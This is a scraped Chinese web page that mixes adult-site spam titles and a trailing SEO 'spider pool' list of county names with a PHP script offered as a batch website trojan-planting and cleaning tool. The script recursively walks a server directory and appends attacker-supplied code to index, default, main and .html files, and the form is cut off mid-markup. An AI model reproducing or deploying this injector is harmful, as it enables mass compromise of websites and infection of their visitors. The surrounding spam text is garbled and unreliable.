色尼玛亚洲综合影院,亚洲3atv精品一区二区三区,麻豆freexxxx性91精品,欧美在线91

php下批量掛馬和批量清馬代碼

復制代碼 代碼如下:
<?php
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已掛馬文件:$file/n<br>”;

}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清馬文件:$file/n<br>”;

}
}
}
$d->close();
echo ” “;
}

if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
<title>批量掛馬(清馬)程序php版</title><body>
<form action=”<?$php_SELF?>?action=gm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>網站批量掛馬程序php
BY n3tl04d</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路徑:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相對路徑)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>掛馬關鍵字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index/.|default/.|main/.|/.html'>― 主站蜘蛛池模板: 广宗县| 新河县| 从江县| 呼伦贝尔市| 孝义市| 邹平县| 三门峡市| 廉江市| 平遥县| 大埔区| 甘德县| 通江县| 通化县| 筠连县| 石河子市| 日喀则市| 颍上县| 浦县| 乐安县| 广东省| 益阳市| 泸西县| 耿马| 吉林市| 建阳市| 河西区| 申扎县| 建始县| 宝应县| 丁青县| 汝南县| 志丹县| 澎湖县| 响水县| 宣武区| 平遥县| 伊宁县| 玛纳斯县| 香港 | 山西省| 西乡县|